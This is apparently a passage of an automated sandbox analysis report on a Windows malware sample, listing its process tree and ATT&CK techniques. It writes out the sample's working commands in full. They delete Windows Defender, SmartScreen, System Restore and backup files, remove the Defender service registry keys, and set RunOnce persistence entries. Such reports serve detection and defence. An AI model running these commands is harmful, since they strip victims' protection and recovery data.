      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5160
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5696
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5744
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5640
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4716
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4784
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:428
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:804
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      PID:228
    - - C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:4944
    - - C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:2564
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3008"
      4⤵
      PID:3932
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "3008"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:112
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:1584
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2836
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

